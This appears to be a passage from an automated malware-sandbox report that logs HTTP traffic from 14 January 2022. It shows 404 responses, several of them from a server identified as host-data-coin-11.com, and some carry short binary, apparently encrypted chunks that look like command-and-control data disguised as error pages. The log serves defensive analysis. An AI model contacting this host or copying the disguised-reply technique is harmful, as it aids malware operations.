Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginx/1.14.0 (Ubuntu)Date: Fri, 14 Jan 2022 20:03:44 GMTContent-Type: text/htmlContent-Length: 178Connection: keep-aliveData Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 20 62 67 63 6f 6c 6f 72 3d 22 77 68 69 74 65 22 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 2f 31 2e 31 34 2e 30 20 28 55 62 75 6e 74 75 29 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>404 Not Found</title></head><body bgcolor="white"><center><h1>404 Not Found</h1></center><hr><center>nginx/1.14.0 (Ubuntu)</center></body></html>
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginx/1.20.1Date: Fri, 14 Jan 2022 20:05:07 GMTContent-Type: text/html; charset=utf-8Transfer-Encoding: chunkedConnection: closeData Raw: 31 39 39 0d 0a 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0d 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0d 0a 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0d 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0d 0a 3c 68 31 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 0d 0a 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 2f 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 3c 2f 70 3e 0d 0a 3c 70 3e 41 64 64 69 74 69 6f 6e 61 6c 6c 79 2c 20 61 20 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 20 65 72 72 6f 72 20 77 61 73 20 65 6e 63 6f 75 6e 74 65 72 65 64 20 77 68 69 6c 65 20 74 72 79 69 6e 67 20 74 6f 20 75 73 65 20 61 6e 20 45 72 72 6f 72 44 6f 63 75 6d 65 6e 74 20 74 6f 20 68 61 6e 64 6c 65 20 74 68 65 20 72 65 71 75 65 73 74 2e 3c 2f 70 3e 0d 0a 3c 68 72 3e 3c 61 64 64 72 65 73 73 3e 41 70 61 63 68 65 2f 32 2e 34 2e 32 39 20 28 55 62 75 6e 74 75 29 20 53 65 72 76 65 72 20 61 74 20 68 6f 73 74 2d 64 61 74 61 2d 63 6f 69 6e 2d 31 31 2e 63 6f 6d 20 50 6f 72 74 20 38 30 3c 2f 61 64 64 72 65 73 73 3e 0a 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 199<!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>404 Not Found</title></head><body><h1>Not Found</h1><p>The requested URL / was not found on this server.</p><p>Additionally, a 404 Not Found error was encountered while trying to use an ErrorDocument to handle the request.</p><hr><address>Apache/2.4.29 (Ubuntu) Server at host-data-coin-11.com Port 80</address></body></html>0
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginx/1.20.1Date: Fri, 14 Jan 2022 20:05:07 GMTContent-Type: text/html; charset=utf-8Transfer-Encoding: chunkedConnection: closeData Raw: 31 39 39 0d 0a 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0d 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0d 0a 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0d 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0d 0a 3c 68 31 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 0d 0a 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 2f 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 3c 2f 70 3e 0d 0a 3c 70 3e 41 64 64 69 74 69 6f 6e 61 6c 6c 79 2c 20 61 20 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 20 65 72 72 6f 72 20 77 61 73 20 65 6e 63 6f 75 6e 74 65 72 65 64 20 77 68 69 6c 65 20 74 72 79 69 6e 67 20 74 6f 20 75 73 65 20 61 6e 20 45 72 72 6f 72 44 6f 63 75 6d 65 6e 74 20 74 6f 20 68 61 6e 64 6c 65 20 74 68 65 20 72 65 71 75 65 73 74 2e 3c 2f 70 3e 0d 0a 3c 68 72 3e 3c 61 64 64 72 65 73 73 3e 41 70 61 63 68 65 2f 32 2e 34 2e 32 39 20 28 55 62 75 6e 74 75 29 20 53 65 72 76 65 72 20 61 74 20 68 6f 73 74 2d 64 61 74 61 2d 63 6f 69 6e 2d 31 31 2e 63 6f 6d 20 50 6f 72 74 20 38 30 3c 2f 61 64 64 72 65 73 73 3e 0a 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 199<!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>404 Not Found</title></head><body><h1>Not Found</h1><p>The requested URL / was not found on this server.</p><p>Additionally, a 404 Not Found error was encountered while trying to use an ErrorDocument to handle the request.</p><hr><address>Apache/2.4.29 (Ubuntu) Server at host-data-coin-11.com Port 80</address></body></html>0
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginx/1.20.1Date: Fri, 14 Jan 2022 20:05:08 GMTContent-Type: text/html; charset=utf-8Transfer-Encoding: chunkedConnection: closeData Raw: 33 30 0d 0a 00 00 d3 92 a0 49 bd 3a 38 32 11 af 01 b5 db ad d6 09 4f c5 86 52 06 26 1a ff b5 98 ff a9 1e ad 12 93 3a f9 55 50 99 4a f6 e8 24 e5 64 50 06 b9 0d 0a 30 0d 0a 0d 0a Data Ascii: 30I:82OR&:UPJ$dP0
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginx/1.20.1Date: Fri, 14 Jan 2022 20:05:10 GMTContent-Type: text/html; charset=utf-8Transfer-Encoding: chunkedConnection: closeData Raw: 31 39 39 0d 0a 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0d 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0d 0a 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0d 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0d 0a 3c 68 31 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 0d 0a 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 2f 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 3c 2f 70 3e 0d 0a 3c 70 3e 41 64 64 69 74 69 6f 6e 61 6c 6c 79 2c 20 61 20 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 20 65 72 72 6f 72 20 77 61 73 20 65 6e 63 6f 75 6e 74 65 72 65 64 20 77 68 69 6c 65 20 74 72 79 69 6e 67 20 74 6f 20 75 73 65 20 61 6e 20 45 72 72 6f 72 44 6f 63 75 6d 65 6e 74 20 74 6f 20 68 61 6e 64 6c 65 20 74 68 65 20 72 65 71 75 65 73 74 2e 3c 2f 70 3e 0d 0a 3c 68 72 3e 3c 61 64 64 72 65 73 73 3e 41 70 61 63 68 65 2f 32 2e 34 2e 32 39 20 28 55 62 75 6e 74 75 29 20 53 65 72 76 65 72 20 61 74 20 68 6f 73 74 2d 64 61 74 61 2d 63 6f 69 6e 2d 31 31 2e 63 6f 6d 20 50 6f 72 74 20 38 30 3c 2f 61 64 64 72 65 73 73 3e 0a 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 199<!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>404 Not Found</title></head><body><h1>Not Found</h1><p>The requested URL / was not found on this server.</p><p>Additionally, a 404 Not Found error was encountered while trying to use an ErrorDocument to handle the request.</p><hr><address>Apache/2.4.29 (Ubuntu) Server at host-data-coin-11.com Port 80</address></body></html>0
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginx/1.20.1Date: Fri, 14 Jan 2022 20:05:10 GMTContent-Type: text/html; charset=utf-8Transfer-Encoding: chunkedConnection: closeData Raw: 31 39 39 0d 0a 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0d 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0d 0a 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0d 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0d 0a 3c 68 31 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 0d 0a 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 2f 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 3c 2f 70 3e 0d 0a 3c 70 3e 41 64 64 69 74 69 6f 6e 61 6c 6c 79 2c 20 61 20 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 20 65 72 72 6f 72 20 77 61 73 20 65 6e 63 6f 75 6e 74 65 72 65 64 20 77 68 69 6c 65 20 74 72 79 69 6e 67 20 74 6f 20 75 73 65 20 61 6e 20 45 72 72 6f 72 44 6f 63 75 6d 65 6e 74 20 74 6f 20 68 61 6e 64 6c 65 20 74 68 65 20 72 65 71 75 65 73 74 2e 3c 2f 70 3e 0d 0a 3c 68 72 3e 3c 61 64 64 72 65 73 73 3e 41 70 61 63 68 65 2f 32 2e 34 2e 32 39 20 28 55 62 75 6e 74 75 29 20 53 65 72 76 65 72 20 61 74 20 68 6f 73 74 2d 64 61 74 61 2d 63 6f 69 6e 2d 31 31 2e 63 6f 6d 20 50 6f 72 74 20 38 30 3c 2f 61 64 64 72 65 73 73 3e 0a 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 199<!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>404 Not Found</title></head><body><h1>Not Found</h1><p>The requested URL / was not found on this server.</p><p>Additionally, a 404 Not Found error was encountered while trying to use an ErrorDocument to handle the request.</p><hr><address>Apache/2.4.29 (Ubuntu) Server at host-data-coin-11.com Port 80</address></body></html>0
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginx/1.20.1Date: Fri, 14 Jan 2022 20:05:10 GMTContent-Type: text/html; charset=utf-8Transfer-Encoding: chunkedConnection: closeData Raw: 32 62 0d 0a 00 00 d3 92 a0 49 bd 3a 38 32 11 af 01 b5 db ad d6 09 4f 90 df 13 49 3c 5c a2 f7 d8 fc fb 46 f5 46 86 32 ef 06 10 c2 4b e1 e1 39 0d 0a 30 0d 0a 0d 0a Data Ascii: 2bI:82OI<\FF2K90
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginx/1.20.1Date: Fri, 14 Jan 2022 20:05:13 GMTContent-Type: text/html; charset=utf-8Transfer-Encoding: chunkedConnection: closeData Raw: 31 39 39 0d 0a 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0d 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0d 0a 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0d 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0d 0a 3c 68 31 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 0d 0a 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 2f 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 3c 2f 70 3e 0d 0a 3c 70 3e 41 64 64 69 74 69 6f 6e 61 6c 6c 79 2c 20 61 20 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 20 65 72 72 6f 72 20 77 61 73 20 65 6e 63 6f 75 6e 74 65 72 65 64 20 77 68 69 6c 65 20 74 72 79 69 6e 67 20 74 6f 20 75 73 65 20 61 6e 20 45 72 72 6f 72 44 6f 63 75 6d 65 6e 74 20 74 6f 20 68 61 6e 64 6c 65 20 74 68 65 20 72 65 71 75 65 73 74 2e 3c 2f 70 3e 0d 0a 3c 68 72 3e 3c 61 64 64 72 65 73 73 3e 41 70 61 63 68 65 2f 32 2e 34 2e 32 39 20 28 55 62 75 6e 74 75 29 20 53 65 72 76 65 72 20 61 74 20 68 6f 73 74 2d 64 61 74 61 2d 63 6f 69 6e 2d 31 31 2e 63 6f 6d 20 50 6f 72 74 20 38 30 3c 2f 61 64 64 72 65 73 73 3e 0a 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 199<!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>404 Not Found</title></head><body><h1>Not Found</h1><p>The requested URL / was not found on this server.</p><p>Additionally, a 404 Not Found error was encountered while trying to use an ErrorDocument to handle the request.</p><hr><address>Apache/2.4.29 (Ubuntu) Server at host-data-coin-11.com Port 80</address></body></html>0
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginx/1.20.1Date: Fri, 14 Jan 2022 20:05:13 GMTContent-Type: text/html; charset=utf-8Transfer-Encoding: chunkedConnection: closeData Raw: 31 39 39 0d 0a 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0d 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0d 0a 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0d 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0d 0a 3c 68 31 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 0d 0a 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 2f 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 3c 2f 70 3e 0d 0a 3c 70 3e 41 64 64 69 74 69 6f 6e 61 6c 6c 79 2c 20 61 20 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 20 65 72 72 6f 72 20 77 61 73 20 65 6e 63 6f 75 6e 74 65 72 65 64 20 77 68 69 6c 65 20 74 72 79 69 6e 67 20 74 6f 20 75 73 65 20 61 6e 20 45 72 72 6f 72 44 6f 63 75 6d 65 6e 74 20 74 6f 20 68 61 6e 64 6c 65 20 74 68 65 20 72 65 71 75 65 73 74 2e 3c 2f 70 3e 0d 0a 3c 68 72 3e 3c 61 64 64 72 65 73 73 3e 41 70 61 63 68 65 2f 32 2e 34 2e 32 39 20 28 55 62 75 6e 74 75 29 20 53 65 72 76 65 72 20 61 74 20 68 6f 73 74 2d 64 61 74 61 2d 63 6f 69 6e 2d 31 31 2e 63 6f 6d 20 50 6f 72 74 20 38 30 3c 2f 61 64 64 72 65 73 73 3e 0a 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 199<!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>404 Not Found</title></head><body><h1>Not Found</h1><p>The requested URL / was not found on this server.</p><p>Additionally, a 404 Not Found error was encountered while trying to use an ErrorDocument to handle the request.</p><hr><address>Apache/2.4.29 (Ubuntu) Server at host-data-coin-11.com Port 80</address></body></html>0
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginx/1.20.1Date: Fri, 14 Jan 2022 20:05:14 GMTContent-Type: text/html; charset=utf-8Transfer-Encoding: chunkedConnection: closeData Raw: 36 36 0d 0a 00 00 d3 92 a0 49 bd 3a 38 32 11 af 01 b5 db ad 9f 1c 4f 8e 84 42 09 25 16 f9 b5 8f bd b8 15 a5 0c ce 2c b4 59 52 db 04 e5 fd 28 e3 22 58 1b b2 ed cf 00 b4 51 da 44 d0 f8 20 8c 21 ea ad 96 56 2c e4 b4 48 2b e3 b3 b6 68 f3 9a b9 59 a8 77 9f cb 31 41 5b 3d 03 4b de bb 4b bb ff 5b 91 ad d3 02 c4 60 9d d2 69 0d 0a 30 0d 0a 0d 0a Data Ascii: 66I:82OB%,YR("XQD !V,H+hYw1A[=KK[`i0
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginx/1.20.1Date: Fri, 14 Jan 2022 20:05:16 GMTContent-Type: text/html; charset=utf-8Transfer-Encoding: chunkedConnection: closeData Raw: 31 39 39 0d 0a 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0d 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0d 0a 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0d 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0d 0a 3c 68 31 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 0d 0a 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 2f 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 3c 2f 70 3e 0d 0a 3c 70 3e 41 64 64 69 74 69 6f 6e 61 6c 6c 79 2c 20 61 20 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 20 65 72 72 6f 72 20 77 61 73 20 65 6e 63 6f 75 6e 74 65 72 65 64 20 77 68 69 6c 65 20 74 72 79 69 6e 67 20 74 6f 20 75 73 65 20 61 6e 20 45 72 72 6f 72 44 6f 63 75 6d 65 6e 74 20 74 6f 20 68 61 6e 64 6c 65 20 74 68 65 20 72 65 71 75 65 73 74 2e 3c 2f 70 3e 0d 0a 3c 68 72 3e 3c 61 64 64 72 65 73 73 3e 41 70 61 63 68 65 2f 32 2e 34 2e 32 39 20 28 55 62 75 6e 74 75 29 20 53 65 72 76 65 72 20 61 74 20 68 6f 73 74 2d 64 61 74 61 2d 63 6f 69 6e 2d 31 31 2e 63 6f 6d 20 50 6f 72 74 20 38 30 3c 2f 61 64 64 72 65 73 73 3e 0a 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 199<!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>404 Not Found</title></head><body><h1>Not Found</h1><p>The requested URL / was not found on this server.</p><p>Additionally, a 404 Not Found error was encountered while trying to use an ErrorDocument to handle the request.</p><hr><address>Apache/2.4.29 (Ubuntu) Server at host-data-coin-11.com Port 80</address></body></html>0
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginx/1.20.1Date: Fri, 14 Jan 2022 20:05:17 GMTContent-Type: text/html; charset=utf-8Transfer-Encoding: chunkedConnection: closeData Raw: 31 39 39 0d 0a 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0d 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0d 0a 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0d 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0d 0a 3c 68 31 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 0d 0a 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 2f 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 3c 2f 70 3e 0d 0a 3c 70 3e 41 64 64 69 74 69 6f 6e 61 6c 6c 79 2c 20 61 20 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 20 65 72 72 6f 72 20 77 61 73 20 65 6e 63 6f 75 6e 74 65 72 65 64 20 77 68 69 6c 65 20 74 72 79 69 6e 67 20 74 6f 20 75 73 65 20 61 6e 20 45 72 72 6f 72 44 6f 63 75 6d 65 6e 74 20 74 6f 20 68 61 6e 64 6c 65 20 74 68 65 20 72 65 71 75 65 73 74 2e 3c 2f 70 3e 0d 0a 3c 68 72 3e 3c 61 64 64 72 65 73 73 3e 41 70 61 63 68 65 2f 32 2e 34 2e 32 39 20 28 55 62 75 6e 74 75 29 20 53 65 72 76 65 72 20 61 74 20 68 6f 73 74 2d 64 61 74 61 2d 63 6f 69 6e 2d 31 31 2e 63 6f 6d 20 50 6f 72 74 20 38 30 3c 2f 61 64 64 72 65 73 73 3e 0a 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 199<!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>404 Not Found</title></head><body><h1>Not Found</h1><p>The requested URL / was not found on this server.</p><p>Additionally, a 404 Not Found error was encountered while trying to use an ErrorDocument to handle the request.</p><hr><address>Apache/2.4.29 (Ubuntu) Server at host-data-coin-11.com Port 80</address></body></html>0
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginx/1.20.1Date: Fri, 14 Jan 2022 20:05:17 GMTContent-Type: text/html; charset=utf-8Transfer-Encoding: chunkedConnection: closeData Raw: 32 63 0d 0a 00 00 d3 92 a0 49 bd 3a 38 32 11 af 01 b5 db ad d6 09 4f 90 df 1e 49 3a 44 a6 e8 de ea e4 40 fd 45 91 6e b8 57 5b 91 17 bf ec 31 e5 0d 0a 30 0d 0a 0d 0a Data Ascii: 2cI:82OI:D@EnW[10
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginx/1.20.1Date: Fri, 14 Jan 2022 20:05:39 GMTContent-Type: text/html; charset=utf-8Transfer-Encoding: chunkedConnection: closeData Raw: 31 39 39 0d 0a 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0d 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0d 0a 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0d 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0d 0a 3c 68 31 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 0d 0a 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 2f 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 3c 2f 70 3e 0d 0a 3c 70 3e 41 64 64 69 74 69 6f 6e 61 6c 6c 79 2c 20 61 20 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 20 65 72 72 6f 72 20 77 61 73 20 65 6e 63 6f 75 6e 74 65 72 65 64 20 77 68 69 6c 65 20 74 72 79 69 6e 67 20 74 6f 20 75 73 65 20 61 6e 20 45 72 72 6f 72 44 6f 63 75 6d 65 6e 74 20 74 6f 20 68 61 6e 64 6c 65 20 74 68 65 20 72 65 71 75 65 73 74 2e 3c 2f 70 3e 0d 0a 3c 68 72 3e 3c 61 64 64 72 65 73 73 3e 41 70 61 63 68 65 2f 32 2e 34 2e 32 39 20 28 55 62 75 6e 74 75 29 20 53 65 72 76 65 72 20 61 74 20 68 6f 73 74 2d 64 61 74 61 2d 63 6f 69 6e 2d 31 31 2e 63 6f 6d 20 50 6f 72 74 20 38 30 3c 2f 61 64 64 72 65 73 73 3e 0a 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 199<!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>404 Not Found</title></head><body><h1>Not Found</h1><p>The requested URL / was not found on this server.</p><p>Additionally, a 404 Not Found error was encountered while trying to use an ErrorDocument to handle the request.</p><hr><address>Apache/2.4.29 (Ubuntu) Server at host-data-coin-11.com Port 80</address></body></html>0
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginx/1.20.1Date: Fri, 14 Jan 2022 20:05:40 GMTContent-Type: text/html; charset=utf-8Transfer-Encoding: chunkedConnection: closeData Raw: 31 39 39 0d 0a 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0d 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0d 0a 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0d 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0d 0a 3c 68 31 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 0d 0a 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 2f 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 3c 2f 70 3e 0d 0a 3c 70 3e 41 64 64 69 74 69 6f 6e 61 6c 6c 79 2c 20 61 20 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 20 65 72 72 6f 72 20 77 61 73 20 65 6e 63 6f 75 6e 74 65 72 65 64 20 77 68 69 6c 65 20 74 72 79 69 6e 67 20 74 6f 20 75 73 65 20 61 6e 20 45 72 72 6f 72 44 6f 63 75 6d 65 6e 74 20 74 6f 20 68 61 6e 64 6c 65 20 74 68 65 20 72 65 71 75 65 73 74 2e 3c 2f 70 3e 0d 0a 3c 68 72 3e 3c 61 64 64 72 65 73 73 3e 41 70 61 63 68 65 2f 32 2e 34 2e 32 39 20 28 55 62 75 6e 74 75 29 20 53 65 72 76 65 72 20 61 74 20 68 6f 73 74 2d 64 61 74 61 2d 63 6f 69 6e 2d 31 31 2e 63 6f 6d 20 50 6f 72 74 20 38 30 3c 2f 61 64 64 72 65 73 73 3e 0a 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 199<!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>404 Not Found</title></head><body><h1>Not Found</h1><p>The requested URL / was not found on this server.</p><p>Additionally, a 404 Not Found error was encountered while trying to use an ErrorDocument to handle the request.</p><hr><address>Apache/2.4.29 (Ubuntu) Server at host-data-coin-11.com Port 80</address></body></html>0
